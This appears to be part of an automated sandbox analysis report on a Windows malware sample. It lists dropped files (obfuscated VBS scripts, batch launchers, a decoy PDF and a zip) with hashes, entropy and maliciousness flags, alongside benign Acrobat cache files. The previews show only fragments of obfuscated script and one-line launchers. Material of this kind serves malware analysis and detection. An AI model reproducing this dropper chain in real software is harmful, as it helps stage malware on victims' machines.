C:\Users\Public\Documents\pow\wm.vbs

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	515028
Entropy (8bit):	3.740796132518701
Encrypted:	false
SSDEEP:	12288:ElKHt8mQeE9b9xefCRexf049pZBJN7ZnU5AuK337QpGAgHigiHETJc:xZxDEqql
MD5:	9925D6B112CC586B4C53B9EC22AC9EE3
SHA1:	D3A6302D2D70999036849A9CF046EE868BA78427
SHA-256:	C7D27223D3EEB698EEEA7EAC9681158F66C0091F5FC2E8EC95C979F324227373
SHA-512:	271479F0A7B313E734CC06C26932E101B75BCC4DD0BB7C1344B0E7A888BF1D8D67289639471EB27ED643807820ECB98C621D319D35C31E8C25BA475D2056997D
Malicious:	true
Preview:	..........m.i.U.H.Z.l.u.t.k.m.N.R.q.L.K.Z.o.m.c.K.m.p.o.c.L.l.o.e.L.c.O.W.p.k.k.W.W.m.J.k.h.P.G.Z.h.L.W.a.W.k.A.G.f.k.P.k.k.u.o.L.Z.c.L.N.W.k.i.t. .=. .".G.l.U.i.K.q.W.U.W.G.e.K.K.W.k.b.W.K.W.W.I.A.e.U.R.O.a.q.P.G.O.a.p.t.W.W.Z.n.G.K.h.b.u.i.W.O.c.L.W.l.e.c.c.L.Z.W.B.l.i.b.i.L.U.k.c.l.k.Z.".....u.O.G.A.f.K.q.c.q.k.e.z.v.L.G.B.p.L.n.z.c.U.K.s.i.G.N.G.G.u.G.g.P.g.G.W.u.K.x.d.n.i.C.N.z.L.i.N.U.p.W.K.o.L.I.f.O.k.k.G.O.i.W.L.L.z.p.a. .=. .".W.K.c.K.U.f.B.z.L.P.q.t.j.b.T.W.W.q.u.O.l.u.Z.q.W.H.G.L.i.O.W.L.l.u.p.c.P.W.L.L.b.U.c.K.H.i.f.b.s.W.B.J.k.B.U.S.f.W.c.G.G.a.N.W.L.e.K.P.".....i.p.L.O.K.N.c.o.W.p.i.H.z.c.Z.h.k.s.L.n.e.W.W.K.l.G.L.z.B.U.W.b.i.p.k.b.k.N.o.m.K.G.h.c.c.k.q.A.c.x.K.u.z.m.d.f.Q.L.e.I.e.L.u.K.a.j.L.G. .=. .".u.j.h.U.G.L.o.c.N.f.n.k.A.N.i.L.d.t.G.v.f.L.o.z.l.I.o.m.N.U.q.g.h.G.U.n.q.k.J.L.q.p.L.p.R.W.h.L.L.i.s.t.U.W.i.C.f.L.o.W.i.U.U.l.T.L.g.R.".....N.K.p.W.m.d.H.i.m.n.C.h.K.o.K.R.Z.b.v.L.A.z.Z.L.j.W.p.z.R.K.m.L.L.O.W.d.n.G.L.C.U.S.k.o.L.p.z.i.U.B.L.c.G.l.e.P.z.b.v.Z.J.f.C.g.B.x.

C:\Users\Public\Documents\pow\wm_startup.bat

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.82306798227366
Encrypted:	false
SSDEEP:	3:Ljn9+/7gn:f9
MD5:	BBD5647DE6C27975663511A5FAFEF3E2
SHA1:	1122F00AB7DC4B638E6F1AD66F22AA4578D8156A
SHA-256:	9109D72766FDEBFF86006EC002266CA21654BDA2AEF1D55D44D33645B15475D7
SHA-512:	06B3265DDA9A4D5AD160BDBB4F3CAC2B5E1BFED6188E29060050DCB3C888942D59756ABEEF76054D9DCAEE1022C7E7296D0BA50E976A9AC7771A83B201CDDB52
Malicious:	false
Preview:	start "" "%~dp0wm.vbs"

C:\Users\Public\Documents\privacy_policy.pdf

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	PDF document, version 1.4, 21 pages
Category:	dropped
Size (bytes):	602549
Entropy (8bit):	7.583560953538365
Encrypted:	false
SSDEEP:	6144:ImSf+xltDfOuS5yL8RRerLmCRIy/HUBFEfr6BLDNBBu6k+5VRWY0PPJ+CzuyOJMX:NxrUgo36UBGfr899k+52LZIejmPWLgc
MD5:	F13B905D7933DD61552424BB53C9D881
SHA1:	A3EE3CAC7FD6AFF2F21155D3EC351285DA7BF038
SHA-256:	4870E5C0271F309D8F3A04616C52AF34E1E5478810D6B6DA9B6F7D831658BED3
SHA-512:	36C9414FD898E4D703D0D5A9AC974FC32480047CF60CE07782A5D52D9C8A51CDC84A3C1D45A36967A5301E7326BE0DB198ED3DB06EBAA13F748545F2A33C34C6
Malicious:	false
Preview:	%PDF-1.4.% .....4.0.obj.<<./Type./Catalog./Names.<<./JavaScript.3.0.R.>>./PageLabels.<<./Nums.[.0.<<./S./D./St.1.>>.].>>./Outlines.2.0.R./Pages.1.0.R.>>.endobj.5.0.obj.<<./Creator.(...G.o.o.g.l.e).>>.endobj.6.0.obj.<<./Type./Page./Parent.1.0.R./MediaBox.[.0.0.540.720.]./Contents.7.0.R./Resources.8.0.R./Annots.10.0.R./Group.<<./S./Transparency./CS./DeviceRGB.>>.>>.endobj.7.0.obj.<<./Filter./FlateDecode./Length.9.0.R.>>.stream.x..VKO.1.....=..h..Ry........BshX.V.CU...(.....:.f....@g...o<co.P...m...%._...y U..I.V4e^..s...&qP..wq0.......v.[.......'..?x}2.<R.#AK.4V.N.x.?.v.ZH.)YRBY..4..).QJat.........H4.+.S1....3m...R.r..!:......M)..6...GJ.X.YC...(.i.m.z..:"[....s!A.^.....0.Q..R.=Iaef....Kc..[r{.s._c...........%...HX....y~.+p..{..!.C.v.=\|.Y..ls.....B.}x....fy..3....Aq6&I...=.... ..3.}..[.w.o.....63...8x"....f&.....N.b...Q*%V...3....MQ-.g"SN.jM.X.m..tHnJ...c.z.....3...c.-02....\4.8=..[..K..\|.h.2.}.o..r..@.4..$8.......3...t...I..`.....q,..z..,+.R.i;f......\|.Qa9

C:\Users\Public\Documents\sys.zip

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512470
Entropy (8bit):	3.7427314037215864
Encrypted:	false
SSDEEP:	12288:rIQpXYYN1wQKkiMKm3mRCHpxaz5dHXp7RInhQtEt+ok4mjklNBgvuGt/RDxKZ9Kc:8ER2UAEouxp
MD5:	2B8D25778728E1726813C46DA1AF28E0
SHA1:	0210191910A4CD987207077FA4A58014BEB9DE3E
SHA-256:	8D0882228D20C2148B1F0E959C79442DE52F0ECB9EC26308ED66B612D0F4E80F
SHA-512:	85980BD5414F3BFCABF9D314EE412237611CCB2D70C9F36587E41A4725BCD876F321CF50DB6CA119FC1B9B4E63EE4BB6D6D5986EAF65AC0995079DB13D5D2228
Malicious:	false
Preview:	PK.........=9Y.Z..............hnvc.vbs..........P.L.g.N.d.L.u.q.a.Q.A.k.L.T.b.W.q.Z.t.k.W.G.L.a.i.L.K.L.n.f.l.G.h.i.G.Z.o.G.W.c.K.G.L.W.p.A.u.W.Q.m.e.c.i.U.W.W.i.m.x.N.T.N.p.N.G.C.A.b. .=. .".W.j.W.W.l.U.n.W.m.t.L.W.L.L.h.a.Z.C.W.G.z.P.i.W.K.K.Q.f.a.L.W.k.f.P.W.l.c.i.q.k.W.G.c.K.U.L.G.L.v.R.m.B.n.a.L.P.x.c.h.T.U.x.O.c.O.c.z.a.".....c.L.b.z.q.c.i.K.A.Z.G.B.a.c.e.A.L.v.e.W.h.L.d.g.x.P.k.c.e.Q.K.d.o.c.c.R.u.u.I.N.e.h.K.e.L.W.R.K.L.z.a.N.c.m.N.O.P.U.K.W.A.B.I.e.L.f.p.k. .=. .".J.k.A.p.c.B.k.A.L.b.r.C.n.W.W.K.c.i.g.a.n.o.o.v.C.p.K.x.I.i.L.i.z.l.n.T.c.z.N.h.c.d.t.L.W.o.d.c.a.k.x.K.e.b.e.e.L.k.n.l.G.U.i.u.W.N.U.A.G.G.p.p.".....L.e.A.L.i.L.Q.Z.m.i.L.o.c.s.U.U.u.W.e.P.p.A.g.W.W.e.S.L.L.r.s.s.u.G.L.K.S.Z.L.e.l.i.U.Z.i.x.W.I.L.C.i.L.G.H.j.i.r.N.z.U.R.k.f.L.T.G.L.i. .=. .".W.x.P.r.g.i.l.G.W.h.m.Z.b.x.L.u.f.h.I.G.f.L.m.U.m.P.C.W.W.U.p.J.f.i.N.o.L.c.W.d.N.C.O.m.A.H.A.c.W.K.L.i.O.U.O.W.f.U.j.R.U.L.A.k.L.f.i.f.".....i.h.m.G.L.v.T.i.l.u.W.G.O.W.O.K.h.R.L.i.Z.u.z.W.L.W.m.J.m.O.N.x.L.c.c.C.s.f.L.W.L.a.L.

C:\Users\Public\Documents\sys\hnvc.vbs

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	512158
Entropy (8bit):	3.739446597600351
Encrypted:	false
SSDEEP:	12288:nIQpXYYN1wQKkiMKm3mRCHpxaz5dHXp7RInhQtEt+ok4mjklNBgvuGt/RDxKZ9K9:IER2UAEouxQ
MD5:	1C468CB1DDACCD43BED8FDAEE3C83128
SHA1:	AB581D3C6E8A2134FDAA5A88FE8638294DE97FA8
SHA-256:	BD33077B081C8B65E10488D40A46DB863D21AFA331B68F74F332DBB8A4219370
SHA-512:	B543C8FAC5E75669CA2AF55FDC2D4FEBCB306586B733465EAB1AA365B959B173E768A00D5A32E4183E6A8A989B3A45713515C9F6079547A8FAB368FFCF343C58
Malicious:	true
Preview:	..........P.L.g.N.d.L.u.q.a.Q.A.k.L.T.b.W.q.Z.t.k.W.G.L.a.i.L.K.L.n.f.l.G.h.i.G.Z.o.G.W.c.K.G.L.W.p.A.u.W.Q.m.e.c.i.U.W.W.i.m.x.N.T.N.p.N.G.C.A.b. .=. .".W.j.W.W.l.U.n.W.m.t.L.W.L.L.h.a.Z.C.W.G.z.P.i.W.K.K.Q.f.a.L.W.k.f.P.W.l.c.i.q.k.W.G.c.K.U.L.G.L.v.R.m.B.n.a.L.P.x.c.h.T.U.x.O.c.O.c.z.a.".....c.L.b.z.q.c.i.K.A.Z.G.B.a.c.e.A.L.v.e.W.h.L.d.g.x.P.k.c.e.Q.K.d.o.c.c.R.u.u.I.N.e.h.K.e.L.W.R.K.L.z.a.N.c.m.N.O.P.U.K.W.A.B.I.e.L.f.p.k. .=. .".J.k.A.p.c.B.k.A.L.b.r.C.n.W.W.K.c.i.g.a.n.o.o.v.C.p.K.x.I.i.L.i.z.l.n.T.c.z.N.h.c.d.t.L.W.o.d.c.a.k.x.K.e.b.e.e.L.k.n.l.G.U.i.u.W.N.U.A.G.G.p.p.".....L.e.A.L.i.L.Q.Z.m.i.L.o.c.s.U.U.u.W.e.P.p.A.g.W.W.e.S.L.L.r.s.s.u.G.L.K.S.Z.L.e.l.i.U.Z.i.x.W.I.L.C.i.L.G.H.j.i.r.N.z.U.R.k.f.L.T.G.L.i. .=. .".W.x.P.r.g.i.l.G.W.h.m.Z.b.x.L.u.f.h.I.G.f.L.m.U.m.P.C.W.W.U.p.J.f.i.N.o.L.c.W.d.N.C.O.m.A.H.A.c.W.K.L.i.O.U.O.W.f.U.j.R.U.L.A.k.L.f.i.f.".....i.h.m.G.L.v.T.i.l.u.W.G.O.W.O.K.h.R.L.i.Z.u.z.W.L.W.m.J.m.O.N.x.L.c.c.C.s.f.L.W.L.a.L.H.W.L.P.L.j.f.L.B.t.C.Z.a.d.K.m.K.W.K.

C:\Users\Public\Documents\sys\pure_hnvc.bat

Download File

Process:	C:\Users\user\Desktop\TM3utH2CsU.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:Ljn9+/ZTGLTgn:f7Lk
MD5:	296F2BA707A65F993E7422D8E25B8FA9
SHA1:	E7C147594ED14D0A56B1869186269C36B08FCC9E
SHA-256:	5B219E480D3C4151DD17C0610070294F9C05E9E141EF4F56F052FA756B67EA61
SHA-512:	8F26FEA721A85DE7BABD9DC00738FC95E19ADFD6A03EF776191269AB52A85288CBFC55F50C3C3E25A3BFDB66E24B2F09CE5ECE646B155A85EB580DC9E9B665CD
Malicious:	true
Preview:	start "" "%~dp0hnvc.vbs"

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.23698960477022
Encrypted:	false
SSDEEP:	6:PuVca1M+q2PFi2nKuAl9OmbnIFUt82uVRCSZZmw+2uVRCSMMVkwOFi2nKuAl9Omt:P2DM+vdZHAahFUt822cSZ/+22cSMMV5J
MD5:	BFD3F462D6340993AB4D0C62E3303744
SHA1:	561E41CA762ACA8584CDD44ADE8B56237FC585F4
SHA-256:	8BCA3C71FD79A5BE7FB5A9D704903A24D6C04403DEE1B570148276245946ADCF
SHA-512:	9B227E3E16DC2387BF1BAAF1E42D1400360874BA09C469D2B3403D1CB87BCA8A3B2CAC39224B18274A7D8E8366C9D9FB17E2217A2B461E65EB0C3779F99AC242
Malicious:	false
Preview:	2024/09/25-06:36:21.511 1ffc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/09/25-06:36:21.514 1ffc Recovering log #3.2024/09/25-06:36:21.514 1ffc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.23698960477022
Encrypted:	false
SSDEEP:	6:PuVca1M+q2PFi2nKuAl9OmbnIFUt82uVRCSZZmw+2uVRCSMMVkwOFi2nKuAl9Omt:P2DM+vdZHAahFUt822cSZ/+22cSMMV5J
MD5:	BFD3F462D6340993AB4D0C62E3303744
SHA1:	561E41CA762ACA8584CDD44ADE8B56237FC585F4
SHA-256:	8BCA3C71FD79A5BE7FB5A9D704903A24D6C04403DEE1B570148276245946ADCF
SHA-512:	9B227E3E16DC2387BF1BAAF1E42D1400360874BA09C469D2B3403D1CB87BCA8A3B2CAC39224B18274A7D8E8366C9D9FB17E2217A2B461E65EB0C3779F99AC242
Malicious:	false
Preview:	2024/09/25-06:36:21.511 1ffc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/09/25-06:36:21.514 1ffc Recovering log #3.2024/09/25-06:36:21.514 1ffc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.221786739167145
Encrypted:	false
SSDEEP:	6:PuxCq2PFi2nKuAl9Ombzo2jMGIFUt82uT6Zmw+2uTGkwOFi2nKuAl9Ombzo2jMmd:PTvdZHAa8uFUt82o6/+2oG5wZHAa8RJ
MD5:	0D8FF3A434D8788917132F4E93F8F454
SHA1:	4C37D4B93A91EFCE5CCA701D8B84C8286B1A0829
SHA-256:	0C4D503ABF6FF87999F2689E885FF9C8EFC8A514536671B9F5465FE840610BF7
SHA-512:	14B0BF0CA57C3F662A04B4F48788D0B1FC547997405430BCABC9D5124864E14E2FF6165A46F64F6D9D33FCA04B211AC0859F07005C40DF5975D15754715F3283
Malicious:	false
Preview:	2024/09/25-06:36:21.584 1b04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/09/25-06:36:21.585 1b04 Recovering log #3.2024/09/25-06:36:21.585 1b04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.221786739167145
Encrypted:	false
SSDEEP:	6:PuxCq2PFi2nKuAl9Ombzo2jMGIFUt82uT6Zmw+2uTGkwOFi2nKuAl9Ombzo2jMmd:PTvdZHAa8uFUt82o6/+2oG5wZHAa8RJ
MD5:	0D8FF3A434D8788917132F4E93F8F454
SHA1:	4C37D4B93A91EFCE5CCA701D8B84C8286B1A0829
SHA-256:	0C4D503ABF6FF87999F2689E885FF9C8EFC8A514536671B9F5465FE840610BF7
SHA-512:	14B0BF0CA57C3F662A04B4F48788D0B1FC547997405430BCABC9D5124864E14E2FF6165A46F64F6D9D33FCA04B211AC0859F07005C40DF5975D15754715F3283
Malicious:	false
Preview:	2024/09/25-06:36:21.584 1b04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/09/25-06:36:21.585 1b04 Recovering log #3.2024/09/25-06:36:21.585 1b04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.973973222440336
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIrhsBdOg2H1Xcaq3QYiubpP7E4T3y:Y2sRdsnydMH43QYhbd7nby
MD5:	77A4C3833CEA26EBD6E95047A23D040A
SHA1:	26C1A80EE67A420C3BC672E2163C202FCC8FA177
SHA-256:	7388E8F3AEC47CE77DA3E2B89CF010FD6296DC21E4E3D93C5A3F4383599DCFDB
SHA-512:	C43F8B79834B8518563D0D9A89518567C9579158F36005B18CD531DDF5B2682D7F4D74CAE719B754140D7D8143099284876A0F2C4587112CC170521883BFA177
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13371820594163986","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":162688},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a03f3437-c869-4963-b39c-73632da25766.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.973973222440336
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqIrhsBdOg2H1Xcaq3QYiubpP7E4T3y:Y2sRdsnydMH43QYhbd7nby
MD5:	77A4C3833CEA26EBD6E95047A23D040A
SHA1:	26C1A80EE67A420C3BC672E2163C202FCC8FA177
SHA-256:	7388E8F3AEC47CE77DA3E2B89CF010FD6296DC21E4E3D93C5A3F4383599DCFDB
SHA-512:	C43F8B79834B8518563D0D9A89518567C9579158F36005B18CD531DDF5B2682D7F4D74CAE719B754140D7D8143099284876A0F2C4587112CC170521883BFA177
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13371820594163986","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":162688},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.229911285663922
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVD1ZTvuYa:wshFT0h7cZb2EVKZPEANcGIK5EVD1dv6
MD5:	FA3D61DB5B41744FF003B4A627B02543
SHA1:	DD7973A07F9CED5315873E2E58F484BE672B700B
SHA-256:	07F55180CD9575B5A91B66169BF30EC6B79D173CF9E1258B8FDD3BEBF712659F
SHA-512:	074D69A84080D784987F2136963400ED92928B0E4762777C742CD99A84D9E108D890FEFDA575082D4932BD243326055946A17A7A69B8B2C95544B166D6FA7A08
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.2546962895465565
Encrypted:	false
SSDEEP:	6:Pu/qMq2PFi2nKuAl9OmbzNMxIFUt82u/0K9Zmw+2u/0KPkwOFi2nKuAl9OmbzNMT:PIvdZHAa8jFUt82D6/+2DG5wZHAa84J
MD5:	237D4E4ADAEF7CAD6E58956E6B43AB1C
SHA1:	3EC1FB22B0FD0EDF761C91AF0EF9A777C982CFBD
SHA-256:	472E81BB948F3BC8DBE0C717A20CEEE42294943D98A41A553F5944D4936350CB
SHA-512:	C7EA2E00EDAAA6E61718A63E82D8CBE66918DDB2DA8D5487E3012665E89C630ED303819B12192037C147E3B070A3B1D22F6812416A24E1E30A89DFB8C1F776A8
Malicious:	false
Preview:	2024/09/25-06:36:21.758 1b04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/09/25-06:36:21.759 1b04 Recovering log #3.2024/09/25-06:36:21.759 1b04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.2546962895465565
Encrypted:	false
SSDEEP:	6:Pu/qMq2PFi2nKuAl9OmbzNMxIFUt82u/0K9Zmw+2u/0KPkwOFi2nKuAl9OmbzNMT:PIvdZHAa8jFUt82D6/+2DG5wZHAa84J
MD5:	237D4E4ADAEF7CAD6E58956E6B43AB1C
SHA1:	3EC1FB22B0FD0EDF761C91AF0EF9A777C982CFBD
SHA-256:	472E81BB948F3BC8DBE0C717A20CEEE42294943D98A41A553F5944D4936350CB
SHA-512:	C7EA2E00EDAAA6E61718A63E82D8CBE66918DDB2DA8D5487E3012665E89C630ED303819B12192037C147E3B070A3B1D22F6812416A24E1E30A89DFB8C1F776A8
Malicious:	false
Preview:	2024/09/25-06:36:21.758 1b04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/09/25-06:36:21.759 1b04 Recovering log #3.2024/09/25-06:36:21.759 1b04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240925103625Z-159.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 114 x -152 x 32, cbSize 69366, bits offset 54
Category:	dropped
Size (bytes):	69366
Entropy (8bit):	1.0231270840068825
Encrypted:	false
SSDEEP:	192:LQOAQN/cyFc3I8ckqURXyVxLD3fPWlpBlwXBrRDwB:cqMX4PW/BlwE
MD5:	7B83F414A3BE1352DA6090C489C76EB3
SHA1:	AA53121D461DCDC90D9DC2A0D85D47AE219AB841
SHA-256:	71B3088E67EE6D601A8B294338D4BD4B9275D804655F8C0406E9EB33134D9AFD
SHA-512:	A3A7BE4E5F9242450B03E9EF9003C9E8BE725E317700C46214DC5233F12F8F6E69F116D6D208FC15F60A3C2D5B37A3EF32C955B359B563A9D00DC9A4BF4E0E1D
Malicious:	false
Preview:	BM........6...(...r...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.439386907550801
Encrypted:	false
SSDEEP:	384:Se6ci5GHiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:F/urVgazUpUTTGt
MD5:	FAD47A5BDEF70C7EDA632B1F8C16523E
SHA1:	0E905C0AB48371D78721969B7ABEAE9A2AD834A0
SHA-256:	48E87A59852CB1660F1AF65244E4299800796019D51D36F8D279ABC1C1B8A66B
SHA-512:	B91F178142099EB6751CDD023D649252788B0D7406D75D31495D061DE50E7E1ED3936E1B44B9A7FCD230B2864D3B967527C925138818FD836F6A855935ADF8D2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2156926756367374
Encrypted:	false
SSDEEP:	24:7+t3ZWO6wKwqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9O:7MsOWwqvmFTIF3XmHjBoGGR+jMz+Lh4
MD5:	5A526422A15F42798B0BFED745E77C33
SHA1:	356532334D56A85D0E24B0AD43CFF5D3E1178126
SHA-256:	32E35BDCD222EAE516B9E4255333B4AC44F1D1EF027B2858BA42643952E71EF2
SHA-512:	AF4D507B71FA0B600449B7858C66E671AA56C8661D9B03049BE4AA48936C89B49B48EFC1DBC9745BB88B2B23F918220DA5166AF92D5FDBE6592CF519EF9187E3
Malicious:	false
Preview:	.... .c.....7...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
